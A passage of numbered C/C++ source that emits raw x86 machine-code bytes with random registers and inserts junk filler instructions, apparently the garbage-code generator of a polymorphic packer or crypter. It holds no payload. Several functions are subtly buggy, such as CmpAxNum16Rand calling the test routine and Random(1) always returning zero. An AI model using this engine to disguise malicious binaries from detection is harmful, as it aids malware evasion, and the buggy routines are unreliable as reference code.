  1777. return(Result);
  1778. }
  1779.  
  1780. void SubAlNum8(PBYTE &AMem,BYTE ANum)
  1781. {
  1782. *AMem=0x2C; //sub al
  1783. AMem++;
  1784. *AMem=ANum; //num8
  1785. AMem++;
  1786. }
  1787.  
  1788. void TestAlNum8(PBYTE &AMem,BYTE ANum)
  1789. {
  1790. *AMem=0xA8; //test al
  1791. AMem++;
  1792. *AMem=ANum; //num8
  1793. AMem++;
  1794. }
  1795.  
  1796. void TestAlNum8Rand(PBYTE &AMem)
  1797. {
  1798. TestAlNum8(AMem,(BYTE)Random(0x100));
  1799. }
  1800.  
  1801. void SubReg8Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1802. {
  1803. *AMem=0x80; //sub
  1804. AMem++;
  1805. *AMem=0xE8+AReg; //reg8
  1806. AMem++;
  1807. *AMem=ANum; //num8
  1808. AMem++;
  1809. }
  1810.  
  1811. void SubReg8Num8Rand(PBYTE &AMem,BYTE ANum)
  1812. {
  1813. BYTE LReg8;
  1814. LReg8=RandomReg8ABCD();
  1815. SubReg8Num8(AMem,LReg8,ANum);
  1816. }
  1817.  
  1818. void TestReg8Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1819. {
  1820. *AMem=0xF6; //test
  1821. AMem++;
  1822. *AMem=0xC0+AReg; //reg8
  1823. AMem++;
  1824. *AMem=ANum; //num8
  1825. AMem++;
  1826. }
  1827.  
  1828. void TestReg8Num8Rand(PBYTE &AMem)
  1829. {
  1830. TestReg8Num8(AMem,RandomReg8ABCD(),(BYTE)Random(0x100));
  1831. }
  1832.  
  1833. void AddReg8Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1834. {
  1835. *AMem=0x80; //add
  1836. AMem++;
  1837. *AMem=0xC0+AReg; //reg8
  1838. AMem++;
  1839. *AMem=ANum; //num8
  1840. AMem++;
  1841. }
  1842.  
  1843. void AddReg8Num8Rand(PBYTE &AMem,BYTE ANum)
  1844. {
  1845. BYTE LReg8;
  1846. LReg8=RandomReg8ABCD();
  1847. AddReg8Num8(AMem,LReg8,ANum);
  1848. }
  1849.  
  1850. void AddAlNum8(PBYTE &AMem,BYTE ANum)
  1851. {
  1852. *AMem=0x04; //add al
  1853. AMem++;
  1854. *AMem=ANum; //num8
  1855. AMem++;
  1856. }
  1857.  
  1858. void FNop(PBYTE &AMem)
  1859. {
  1860. *AMem=0xD9; //fnop
  1861. AMem++;
  1862. *AMem=0xD0;
  1863. AMem++;
  1864. }
  1865.  
  1866. void OrReg16Rand(PBYTE &AMem)
  1867. {
  1868. BYTE LReg16=RandomReg16All();
  1869. *AMem=0x66; //or | test | and
  1870. AMem++;
  1871. *AMem=0x0B;
  1872. AMem++;
  1873. *AMem=0xC0+LReg16*9; //reg16
  1874. AMem++;
  1875. }
  1876.  
  1877. void TestReg16Rand(PBYTE &AMem)
  1878. {
  1879. BYTE LReg16=RandomReg16All();
  1880. *AMem=0x66; //or | test | and
  1881. AMem++;
  1882. *AMem=0x85;
  1883. AMem++;
  1884. *AMem=0xC0+LReg16*9; //reg16
  1885. AMem++;
  1886. }
  1887.  
  1888. void AndReg16Rand(PBYTE &AMem)
  1889. {
  1890. BYTE LReg16=RandomReg16All();
  1891. *AMem=0x66; //or | test | and
  1892. AMem++;
  1893. *AMem=0x23;
  1894. AMem++;
  1895. *AMem=0xC0+LReg16*9; //reg16
  1896. AMem++;
  1897. }
  1898.  
  1899. void Cdq(PBYTE &AMem)
  1900. {
  1901. *AMem=0x99;
  1902. AMem++;
  1903. }
  1904.  
  1905. void ShlReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1906. {
  1907. *AMem=0xC1; //shl | shr | sal | sar
  1908. AMem++;
  1909. *AMem=0xE0+AReg; //reg32
  1910. AMem++;
  1911. *AMem=ANum; //num8
  1912. AMem++;
  1913. }
  1914.  
  1915. void ShlReg32RandNum8FullRand(PBYTE &AMem)
  1916. {
  1917. ShlReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  1918. }
  1919.  
  1920. void ShrReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1921. {
  1922. *AMem=0xC1; //shl | shr | sal | sar
  1923. AMem++;
  1924. *AMem=0xE8+AReg; //reg32
  1925. AMem++;
  1926. *AMem=ANum; //num8
  1927. AMem++;
  1928. }
  1929.  
  1930. void ShrReg32RandNum8FullRand(PBYTE &AMem)
  1931. {
  1932. ShrReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  1933. }
  1934.  
  1935. void SalReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1936. {
  1937. *AMem=0xC1; //shl | shr | sal | sar
  1938. AMem++;
  1939. *AMem=0xF0+AReg; //reg32
  1940. AMem++;
  1941. *AMem=ANum; //num8
  1942. AMem++;
  1943. }
  1944.  
  1945. void SalReg32RandNum8FullRand(PBYTE &AMem)
  1946. {
  1947. SalReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  1948. }
  1949.  
  1950. void SarReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1951. {
  1952. *AMem=0xC1; //shl | shr | sal | sar
  1953. AMem++;
  1954. *AMem=0xF8+AReg; //reg32
  1955. AMem++;
  1956. *AMem=ANum; //num8
  1957. AMem++;
  1958. }
  1959.  
  1960. void SarReg32RandNum8FullRand(PBYTE &AMem)
  1961. {
  1962. SarReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  1963. }
  1964.  
  1965. void RolReg8Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1966. {
  1967. *AMem=0xC0; //rol | ror
  1968. AMem++;
  1969. *AMem=0xC0+AReg; //reg8
  1970. AMem++;
  1971. *AMem=ANum; //num8
  1972. AMem++;
  1973. }
  1974.  
  1975. void RolReg8RandNum8FullRand(PBYTE &AMem)
  1976. {
  1977. RolReg8Num8(AMem,RandomReg8ABCD(),(BYTE)Random(0x20)*8);
  1978. }
  1979.  
  1980. void RorReg8Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1981. {
  1982. *AMem=0xC0; //rol | ror
  1983. AMem++;
  1984. *AMem=0xC8+AReg; //reg8
  1985. AMem++;
  1986. *AMem=ANum; //num8
  1987. AMem++;
  1988. }
  1989.  
  1990. void RorReg8RandNum8FullRand(PBYTE &AMem)
  1991. {
  1992. RorReg8Num8(AMem,RandomReg8ABCD(),(BYTE)Random(0x20)*8);
  1993. }
  1994.  
  1995. void RolReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  1996. {
  1997. *AMem=0xC1; //rol | ror
  1998. AMem++;
  1999. *AMem=0xC0+AReg; //reg32
  2000. AMem++;
  2001. *AMem=ANum; //num8
  2002. AMem++;
  2003. }
  2004.  
  2005. void RolReg32RandNum8FullRand(PBYTE &AMem)
  2006. {
  2007. RolReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  2008. }
  2009.  
  2010. void RorReg32Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2011. {
  2012. *AMem=0xC1; //rol | ror
  2013. AMem++;
  2014. *AMem=0xC8+AReg; //reg32
  2015. AMem++;
  2016. *AMem=ANum; //num8
  2017. AMem++;
  2018. }
  2019.  
  2020. void RorReg32RandNum8FullRand(PBYTE &AMem)
  2021. {
  2022. RorReg32Num8(AMem,RandomReg32All(),(BYTE)Random(8)*0x20);
  2023. }
  2024.  
  2025. void TestAxNum16(PBYTE &AMem,WORD ANum)
  2026. {
  2027. *AMem=0x66; //test ax
  2028. AMem++;
  2029. *AMem=0xA9;
  2030. AMem++;
  2031. memcpy(AMem,&ANum,2); //num16
  2032. AMem+=2;
  2033. }
  2034.  
  2035. void TestAxNum16Rand(PBYTE &AMem)
  2036. {
  2037. TestAxNum16(AMem,(BYTE)Random(0x10000));
  2038. }
  2039.  
  2040. void CmpAxNum16(PBYTE &AMem,WORD ANum)
  2041. {
  2042. *AMem=0x66; //cmp ax
  2043. AMem++;
  2044. *AMem=0x3D;
  2045. AMem++;
  2046. memcpy(AMem,&ANum,2); //num16
  2047. AMem+=2;
  2048. }
  2049.  
  2050. void CmpAxNum16Rand(PBYTE &AMem)
  2051. {
  2052. TestAxNum16(AMem,(BYTE)Random(0x10000));
  2053. }
  2054.  
  2055. void PushNum8(PBYTE &AMem,BYTE ANum)
  2056. {
  2057. *AMem=0x6A; //push
  2058. AMem++;
  2059. *AMem=ANum; //num8
  2060. AMem++;
  2061. }
  2062.  
  2063. void PushNum8Rand(PBYTE &AMem)
  2064. {
  2065. PushNum8(AMem,(BYTE)Random(0x100));
  2066. }
  2067.  
  2068. WORD XorRand(PBYTE &AMem)
  2069. {
  2070. BYTE LRnd;
  2071. PWORD LRes;
  2072.  
  2073. LRes=(PWORD)AMem;
  2074. LRnd=(BYTE)Random(5);
  2075. *AMem=0x30+LRnd; //xor
  2076. AMem++;
  2077. if(LRnd==4) *AMem=(BYTE)Random(0x100); //num8
  2078. else *AMem=(BYTE)Random(7)*9+(BYTE)Random(8)+1+0xC0; //reg8 | reg32 but never the same reg
  2079. AMem++;
  2080. return(*LRes);
  2081. }
  2082.  
  2083. void InvertXor(PBYTE &AMem,WORD AXor)
  2084. {
  2085. memcpy(AMem,&AXor,2);
  2086. AMem+=2;
  2087. }
  2088.  
  2089. void DoubleXorRand(PBYTE &AMem)
  2090. {
  2091. InvertXor(AMem,XorRand(AMem));
  2092. }
  2093.  
  2094. BYTE NotReg32(PBYTE &AMem,BYTE AReg)
  2095. {
  2096. *AMem=0xF7; //not
  2097. AMem++;
  2098. *AMem=0xD0+AReg; //reg32
  2099. AMem++;
  2100. return(2);
  2101. }
  2102.  
  2103. BYTE NegReg32(PBYTE &AMem,BYTE AReg)
  2104. {
  2105. *AMem=0xF7; //not
  2106. AMem++;
  2107. *AMem=0xD8+AReg; //reg32
  2108. AMem++;
  2109. return(2);
  2110. }
  2111.  
  2112. WORD NotRand(PBYTE &AMem)
  2113. {
  2114. PWORD LRes;
  2115. LRes=(PWORD)AMem;
  2116. *AMem=0xF6+(BYTE)Random(1); //not
  2117. AMem++;
  2118. *AMem=0xD0+(BYTE)Random(8); //reg8 | reg32
  2119. AMem++;
  2120. return(*LRes);
  2121. }
  2122.  
  2123. void InvertNot(PBYTE &AMem,WORD ANot)
  2124. {
  2125. memcpy(AMem,&ANot,2);
  2126. AMem+=2;
  2127. }
  2128.  
  2129. void DoubleNotRand(PBYTE &AMem)
  2130. {
  2131. InvertNot(AMem,NotRand(AMem));
  2132. }
  2133.  
  2134. WORD NegRand(PBYTE &AMem)
  2135. {
  2136. PWORD LRes;
  2137. LRes=(PWORD)AMem;
  2138. *AMem=0xF6+(BYTE)Random(1); //neg
  2139. AMem++;
  2140. *AMem=0xD8+(BYTE)Random(8); //reg8 | reg32
  2141. AMem++;
  2142. return(*LRes);
  2143. }
  2144.  
  2145. void InvertNeg(PBYTE &AMem,WORD ANeg)
  2146. {
  2147. memcpy(AMem,&ANeg,2);
  2148. AMem+=2;
  2149. }
  2150.  
  2151. void DoubleNegRand(PBYTE &AMem)
  2152. {
  2153. InvertNeg(AMem,NegRand(AMem));
  2154. }
  2155.  
  2156. void AddReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2157. {
  2158. *AMem=0x66; //add | or | and | sub | xor | cmp
  2159. AMem++;
  2160. *AMem=0x83;
  2161. AMem++;
  2162. *AMem=0xC0+AReg; //reg16
  2163. AMem++;
  2164. *AMem=ANum; //num;
  2165. AMem++;
  2166. }
  2167.  
  2168. void AddReg16Num8Rand(PBYTE &AMem,BYTE ANum)
  2169. {
  2170. AddReg16Num8(AMem,RandomReg16All(),ANum);
  2171. }
  2172.  
  2173. void OrReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2174. {
  2175. *AMem=0x66; //add | or | and | sub | xor | cmp
  2176. AMem++;
  2177. *AMem=0x83;
  2178. AMem++;
  2179. *AMem=0xC8+AReg; //reg16
  2180. AMem++;
  2181. *AMem=ANum; //num
  2182. AMem++;
  2183. }
  2184.  
  2185. void OrReg16Num8Rand(PBYTE &AMem,BYTE ANum)
  2186. {
  2187. OrReg16Num8(AMem,RandomReg16All(),ANum);
  2188. }
  2189.  
  2190. void AndReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2191. {
  2192. *AMem=0x66; //add | or | and | sub | xor | cmp
  2193. AMem++;
  2194. *AMem=0x83;
  2195. AMem++;
  2196. *AMem=0xE0+AReg; //reg16
  2197. AMem++;
  2198. *AMem=ANum; //num
  2199. AMem++;
  2200. }
  2201.  
  2202. void AndReg16Num8Rand(PBYTE &AMem,BYTE ANum)
  2203. {
  2204. AndReg16Num8(AMem,RandomReg16All(),ANum);
  2205. }
  2206.  
  2207. void SubReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2208. {
  2209. *AMem=0x66; //add | or | and | sub | xor | cmp
  2210. AMem++;
  2211. *AMem=0x83;
  2212. AMem++;
  2213. *AMem=0xE8+AReg; //reg16
  2214. AMem++;
  2215. *AMem=ANum; //num
  2216. AMem++;
  2217. }
  2218.  
  2219. void SubReg16Num8Rand(PBYTE &AMem,BYTE ANum)
  2220. {
  2221. SubReg16Num8(AMem,RandomReg16All(),ANum);
  2222. }
  2223.  
  2224. void XorReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2225. {
  2226. *AMem=0x66; //add | or | and | sub | xor | cmp
  2227. AMem++;
  2228. *AMem=0x83;
  2229. AMem++;
  2230. *AMem=0xF0+AReg; //reg16
  2231. AMem++;
  2232. *AMem=ANum; //num
  2233. AMem++;
  2234. }
  2235.  
  2236. void XorReg16Num8Rand(PBYTE &AMem,BYTE ANum)
  2237. {
  2238. XorReg16Num8(AMem,RandomReg16All(),ANum);
  2239. }
  2240.  
  2241. void CmpReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2242. {
  2243. *AMem=0x66; //add | or | and | sub | xor | cmp
  2244. AMem++;
  2245. *AMem=0x83;
  2246. AMem++;
  2247. *AMem=0xF8+AReg; //reg16
  2248. AMem++;
  2249. *AMem=ANum; //num
  2250. AMem++;
  2251. }
  2252.  
  2253. void CmpReg16Num8RandRand(PBYTE &AMem)
  2254. {
  2255. CmpReg16Num8(AMem,RandomReg16All(),(BYTE)Random(0x100));
  2256. }
  2257.  
  2258. void RolReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2259. {
  2260. *AMem=0x66; //rol | ror
  2261. AMem++;
  2262. *AMem=0xC1;
  2263. AMem++;
  2264. *AMem=0xC0+AReg; //reg16
  2265. AMem++;
  2266. *AMem=ANum; //num8
  2267. AMem++;
  2268. }
  2269.  
  2270. void RolReg16RandNum8FullRand(PBYTE &AMem)
  2271. {
  2272. RolReg16Num8(AMem,RandomReg16All(),(BYTE)Random(0x10)*0x10);
  2273. }
  2274.  
  2275. void RorReg16Num8(PBYTE &AMem,BYTE AReg,BYTE ANum)
  2276. {
  2277. *AMem=0x66; //rol | ror
  2278. AMem++;
  2279. *AMem=0xC1;
  2280. AMem++;
  2281. *AMem=0xC1+AReg; //reg16
  2282. AMem++;
  2283. *AMem=ANum; //num8
  2284. AMem++;
  2285. }
  2286.  
  2287. void RorReg16RandNum8FullRand(PBYTE &AMem)
  2288. {
  2289. RorReg16Num8(AMem,RandomReg16All(),(BYTE)Random(0x10)*0x10);
  2290. }
  2291.  
  2292. WORD XchgRand(PBYTE &AMem)
  2293. {
  2294. PWORD LRes;
  2295. BYTE LRnd;
  2296. LRes=(PWORD)AMem;
  2297. LRnd=(BYTE)Random(4);
  2298. switch(LRnd)
  2299. {
  2300. case 0:
  2301. case 1:
  2302. *AMem=0x66+LRnd; //xchg
  2303. break;
  2304. case 2:
  2305. case 3:
  2306. *AMem=0x86+LRnd-2; //xchg
  2307. break;
  2308. }
  2309. AMem++;
  2310. switch(LRnd)
  2311. {
  2312. case 0:
  2313. case 1:
  2314. *AMem=0x90+(BYTE)Random(8); //reg16 | reg32
  2315. break;
  2316. case 2:
  2317. case 3:
  2318. *AMem=0xC0+(BYTE)Random(0x10); //reg8 | reg32
  2319. break;
  2320. }
  2321. AMem++;
  2322. return(*LRes);
  2323. }
  2324.  
  2325. void InvertXchg(PBYTE &AMem,WORD AXchg)
  2326. {
  2327. memcpy(AMem,&AXchg,2);
  2328. AMem+=2;
  2329. }
  2330.  
  2331. void DoubleXchgRand(PBYTE &AMem)
  2332. {
  2333. InvertXchg(AMem,XchgRand(AMem));
  2334. }
  2335.  
  2336. void LoopNum8(PBYTE &AMem,BYTE ANum)
  2337. {
  2338. *AMem=0xE2; //loop
  2339. AMem++;
  2340. *AMem=ANum; //ANum
  2341. AMem++;
  2342. }
  2343.  
  2344. void JecxzNum8(PBYTE &AMem,BYTE ANum)
  2345. {
  2346. *AMem=0xE3; //jecxz
  2347. AMem++;
  2348. *AMem=ANum; //ANum
  2349. AMem++;
  2350. }
  2351.  
  2352. void MovzxEcxCl(PBYTE &AMem)
  2353. {
  2354. *AMem=0x0F; //movzx
  2355. AMem++;
  2356. *AMem=0xB6;
  2357. AMem++;
  2358. *AMem=0xC9; //ecx:cx
  2359. AMem++;
  2360. }
  2361.  
  2362. void MovReg32Reg32Rand(PBYTE &AMem,BYTE AReg)
  2363. {
  2364. *AMem=0x8B; //mov
  2365. AMem++;
  2366. *AMem=0xC0+8*AReg+RandomReg32All(); //reg32
  2367. AMem++;
  2368. }
  2369.  
  2370. void CmpEaxNum32(PBYTE &AMem,DWORD ANum)
  2371. {
  2372. *AMem=0x3D; //cmp eax
  2373. AMem++;
  2374. memcpy(AMem,&ANum,4); //num32
  2375. AMem+=4;
  2376. }
  2377.  
  2378. void CmpEaxNum32Rand(PBYTE &AMem)
  2379. {
  2380. CmpEaxNum32(AMem,Random(0xFFFFFFFF));
  2381. }
  2382.  
  2383. void TestEaxNum32(PBYTE &AMem,DWORD ANum)
  2384. {
  2385. *AMem=0xA9; //test eax
  2386. AMem++;
  2387. memcpy(AMem,&ANum,4); //num32
  2388. AMem+=4;
  2389. }
  2390.  
  2391. void TestEaxNum32Rand(PBYTE &AMem)
  2392. {
  2393. TestEaxNum32(AMem,Random(0xFFFFFFFF));
  2394. }
  2395.  
  2396. void SubEaxNum32(PBYTE &AMem,DWORD ANum)
  2397. {
  2398. *AMem=0x2D; //sub eax
  2399. AMem++;
  2400. memcpy(AMem,&ANum,4); //num32
  2401. AMem+=4;
  2402. }
  2403.  
  2404. void AddEaxNum32(PBYTE &AMem,DWORD ANum)
  2405. {
  2406. *AMem=0x05; //add eax
  2407. AMem++;
  2408. memcpy(AMem,&ANum,4); //num32
  2409. AMem+=4;
  2410. }
  2411.  
  2412. void AndEaxNum32(PBYTE &AMem,DWORD ANum)
  2413. {
  2414. *AMem=0x25; //and eax
  2415. AMem++;
  2416. memcpy(AMem,&ANum,4); //num32
  2417. AMem+=4;
  2418. }
  2419.  
  2420. void OrEaxNum32(PBYTE &AMem,DWORD ANum)
  2421. {
  2422. *AMem=0x0D; //or eax
  2423. AMem++;
  2424. memcpy(AMem,&ANum,4); //num32
  2425. AMem+=4;
  2426. }
  2427.  
  2428. void XorEaxNum32(PBYTE &AMem,DWORD ANum)
  2429. {
  2430. *AMem=0x35; //xor eax
  2431. AMem++;
  2432. memcpy(AMem,&ANum,4); //num32
  2433. AMem+=4;
  2434. }
  2435.  
  2436. void AddReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2437. {
  2438. *AMem=0x81; //add | or | and | sub | xor | cmp
  2439. AMem++;
  2440. *AMem=0xC0+AReg; //reg32
  2441. AMem++;
  2442. memcpy(AMem,&ANum,4); //num32
  2443. AMem+=4;
  2444. }
  2445.  
  2446. void OrReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2447. {
  2448. *AMem=0x81; //add | or | and | sub | xor | cmp
  2449. AMem++;
  2450. *AMem=0xC8+AReg; //reg32
  2451. AMem++;
  2452. memcpy(AMem,&ANum,4); //num32
  2453. AMem+=4;
  2454. }
  2455.  
  2456. void AndReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2457. {
  2458. *AMem=0x81; //add | or | and | sub | xor | cmp
  2459. AMem++;
  2460. *AMem=0xE0+AReg; //reg32
  2461. AMem++;
  2462. memcpy(AMem,&ANum,4); //num32
  2463. AMem+=4;
  2464. }
  2465.  
  2466. void SubReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2467. {
  2468. *AMem=0x81; //add | or | and | sub | xor | cmp
  2469. AMem++;
  2470. *AMem=0xE8+AReg; //reg32
  2471. AMem++;
  2472. memcpy(AMem,&ANum,4); //num32
  2473. AMem+=4;
  2474. }
  2475.  
  2476. void XorReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2477. {
  2478. *AMem=0x81; //add | or | and | sub | xor | cmp
  2479. AMem++;
  2480. *AMem=0xF0+AReg; //reg32
  2481. AMem++;
  2482. memcpy(AMem,&ANum,4); //num32
  2483. AMem+=4;
  2484. }
  2485.  
  2486. void XorReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  2487. {
  2488. *AMem=0x31; //xor
  2489. AMem++;
  2490. *AMem=0xC0+AReg2*8+AReg1; //reg32,reg32
  2491. AMem++;
  2492. }
  2493.  
  2494. BYTE XorReg32RegMem(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  2495. {
  2496. BYTE Result=2;
  2497. *AMem=0x33; //xor
  2498. AMem++;
  2499. if(AReg2==REG_EBP)
  2500. {
  2501. Result++;
  2502. *AMem=AReg1*8+0x45; //reg32,ebp
  2503. AMem++;
  2504. *AMem=0x00; //+0
  2505. }
  2506. else *AMem=AReg1*8+AReg2; //reg32,regmem
  2507. AMem++;
  2508. if(AReg2==REG_ESP)
  2509. {
  2510. Result++;
  2511. *AMem=0x24; //esp
  2512. AMem++;
  2513. }
  2514. return(Result);
  2515. }
  2516.  
  2517. BYTE XorRegMemReg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  2518. {
  2519. BYTE Result=2;
  2520. *AMem=0x31; //xor
  2521. AMem++;
  2522. if(AReg1==REG_EBP)
  2523. {
  2524. Result++;
  2525. *AMem=AReg2*8+0x45; //reg32,ebp
  2526. AMem++;
  2527. *AMem=0x00; //+0
  2528. }
  2529. else *AMem=AReg2*8+AReg1; //reg32,regmem
  2530. AMem++;
  2531. if(AReg1==REG_ESP)
  2532. {
  2533. Result++;
  2534. *AMem=0x24; //esp
  2535. AMem++;
  2536. }
  2537. return(Result);
  2538. }
  2539.  
  2540. void CmpReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2541. {
  2542. *AMem=0x81; //add | or | and | sub | xor | cmp
  2543. AMem++;
  2544. *AMem=0xF8+AReg; //reg32
  2545. AMem++;
  2546. memcpy(AMem,&ANum,4); //num32
  2547. AMem+=4;
  2548. }
  2549.  
  2550. BYTE TestReg32Num32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2551. {
  2552. BYTE Result;
  2553. if(AReg==REG_EAX) ThrowTheDice(&Result,2);
  2554. else Result=2;
  2555. Result+=4;
  2556. if(Result==6)
  2557. {
  2558. *AMem=0xF7; //test
  2559. AMem++;
  2560. *AMem=0xC0+AReg; //reg32
  2561. AMem++;
  2562. memcpy(AMem,&ANum,4); //num32
  2563. AMem+=4;
  2564. }
  2565. else TestEaxNum32(AMem,ANum);
  2566. return(Result);
  2567. }
  2568.  
  2569. void TestReg32Reg32(PBYTE &AMem,BYTE AReg1,BYTE AReg2)
  2570. {
  2571. *AMem=0x85; //test
  2572. AMem++;
  2573. *AMem=AReg2*8+AReg1+0xC0; //reg32,reg32
  2574. AMem++;
  2575. }
  2576.  
  2577. BYTE TestRegMemNum32(PBYTE &AMem,BYTE AReg,DWORD ANum)
  2578. {
  2579. BYTE Result=6;
  2580. *AMem=0xF7; //test
  2581. AMem++;
  2582. if(AReg==REG_EBP)
  2583. {
  2584. Result++;
  2585. *AMem=0x45; //ebp
  2586. AMem++;
  2587. *AMem=0x00; //+0
  2588. }
  2589. else *AMem=AReg; //reg32
  2590. AMem++;
  2591. if(AReg==REG_ESP)
  2592. {
  2593. Result++;
  2594. *AMem=0x24; //esp
  2595. AMem++;
  2596. }
  2597. memcpy(AMem,&ANum,4); //num32
  2598. AMem+=4;
  2599. return(Result);
  2600. }
  2601.  
  2602.  
  2603. void AddReg32RandNum32(PBYTE &AMem,DWORD ANum)
  2604. {
  2605. AddReg32Num32(AMem,RandomReg32All(),ANum);
  2606. }
  2607.  
  2608. void OrReg32RandNum32(PBYTE &AMem,DWORD ANum)
  2609. {
  2610. OrReg32Num32(AMem,RandomReg32All(),ANum);
  2611. }
  2612.  
  2613. void AndReg32RandNum32(PBYTE &AMem,DWORD ANum)
  2614. {
  2615. AndReg32Num32(AMem,RandomReg32All(),ANum);
  2616. }
  2617.  
  2618. void SubReg32RandNum32(PBYTE &AMem,DWORD ANum)
  2619. {
  2620. SubReg32Num32(AMem,RandomReg32All(),ANum);
  2621. }
  2622.  
  2623. void XorReg32RandNum32(PBYTE &AMem,DWORD ANum)
  2624. {
  2625. XorReg32Num32(AMem,RandomReg32All(),ANum);
  2626. }
  2627.  
  2628. void CmpReg32RandNum32Rand(PBYTE &AMem)
  2629. {
  2630. CmpReg32Num32(AMem,RandomReg32All(),Random(0xFFFFFFFF));
  2631. }
  2632.  
  2633. void TestReg32RandNum32Rand6(PBYTE &AMem)
  2634. {
  2635. BYTE LLen;
  2636. LLen=TestReg32Num32(AMem,RandomReg32All(),Random(0xFFFFFFFF));
  2637. if(LLen==5)
  2638. {
  2639. *AMem=0x90;
  2640. AMem++;
  2641. }
  2642. }
  2643.  
  2644. void MovReg32Num32Rand(PBYTE &AMem,BYTE AReg)
  2645. {
  2646. MovReg32Num32(AMem,AReg,Random(0xFFFFFFFF));
  2647. }
  2648.  
  2649. void MovReg16Num16(PBYTE &AMem,BYTE AReg,WORD ANum)
  2650. {
  2651. *AMem=0x66; //mov
  2652. AMem++;
  2653. *AMem=0xB8+AReg; //reg16
  2654. AMem++;
  2655. memcpy(AMem,&ANum,2); //num16
  2656. AMem+=2;
  2657. }
  2658.  
  2659. void MovReg16Num16Rand(PBYTE &AMem,BYTE AReg)
  2660. {
  2661. MovReg16Num16(AMem,AReg,(BYTE)Random(0x10000));
  2662. }
  2663.  
  2664. //----------------------------------------------------------------------------------
  2665. void InsertRandomInstruction(PBYTE &AMem,BYTE ALength,DWORD *ARemaining)
  2666. {
  2667. BYTE LRegAny;
  2668. DWORD LMaxDice,LXRem;
  2669. switch(ALength)
  2670. {
  2671. case 1:
  2672. ThrowTheDice(&LMaxDice,50);
  2673. #ifdef RUBBISH_NOPS
  2674. LMaxDice=11;
  2675. #endif
  2676. if((1<=LMaxDice)&&(LMaxDice<=10))
  2677. {
  2678. Cld(AMem);
  2679. }else
  2680. if((11<=LMaxDice)&&(LMaxDice<=20))
  2681. {
  2682. Nop(AMem);
  2683. }else
  2684. if((21<=LMaxDice)&&(LMaxDice<=30))
  2685. {
  2686. Stc(AMem);
  2687. }else
  2688. if((31<=LMaxDice)&&(LMaxDice<=40))
  2689. {
  2690. Clc(AMem);
  2691. }else
  2692. if((41<=LMaxDice)&&(LMaxDice<=50))
  2693. {
  2694. Cmc(AMem);
  2695. }
  2696. break;
  2697.  
  2698. case 2:
  2699. ThrowTheDice(&LMaxDice,145);
  2700. if((1<=LMaxDice)&&(LMaxDice<=10))
  2701. {
  2702. XchgReg32Rand(AMem);
  2703. }else
  2704. if((11<=LMaxDice)&&(LMaxDice<=20))
  2705. {
  2706. MovReg32Rand(AMem);
  2707. }else
  2708. if((21<=LMaxDice)&&(LMaxDice<=30))
  2709. {
  2710. LRegAny=IncReg32Rand(AMem);
  2711. DecReg32(AMem,LRegAny);
  2712. }else
  2713. if((31<=LMaxDice)&&(LMaxDice<=40))
  2714. {
  2715. LRegAny=DecReg32Rand(AMem);
  2716. IncReg32(AMem,LRegAny);
  2717. }else
  2718. if((41<=LMaxDice)&&(LMaxDice<=50))
  2719. {
  2720. LRegAny=PushReg32Rand(AMem);
  2721. PopReg32(AMem,LRegAny);
  2722. }else
  2723. if((51<=LMaxDice)&&(LMaxDice<=60))
  2724. {
  2725. LeaReg32Rand(AMem);
  2726. }else
  2727. if((61<=LMaxDice)&&(LMaxDice<=70))
  2728. {
  2729. TestReg32Rand(AMem);
  2730. }else
  2731. if((71<=LMaxDice)&&(LMaxDice<=80))
  2732. {
  2733. OrReg32Rand(AMem);
  2734. }else
  2735. if((81<=LMaxDice)&&(LMaxDice<=90))
  2736. {
  2737. AndReg32Rand(AMem);
  2738. }else
  2739. if((91<=LMaxDice)&&(LMaxDice<=100))
  2740. {
  2741. TestReg8Rand(AMem);
  2742. }else
  2743. if((101<=LMaxDice)&&(LMaxDice<=110))
  2744. {
  2745. OrReg8Rand(AMem);
  2746. }else
  2747. if((111<=LMaxDice)&&(LMaxDice<=120))
  2748. {
  2749. AndReg8Rand(AMem);
  2750. }else
  2751. if((121<=LMaxDice)&&(LMaxDice<=130))
  2752. {
  2753. CmpRegRegNum8Rand(AMem);
  2754. }else
  2755. if((131<=LMaxDice)&&(LMaxDice<=132))
  2756. {
  2757. Std(AMem);
  2758. Cld(AMem);
  2759. }else
  2760. if((133<=LMaxDice)&&(LMaxDice<=134))
  2761. {
  2762. JmpNum8(AMem,0);
  2763. }else
  2764. if((135<=LMaxDice)&&(LMaxDice<=138))
  2765. {
  2766. SubAlNum8(AMem,0);
  2767. }else
  2768. if((139<=LMaxDice)&&(LMaxDice<=140))
  2769. {
  2770. TestAlNum8Rand(AMem);
  2771. }else
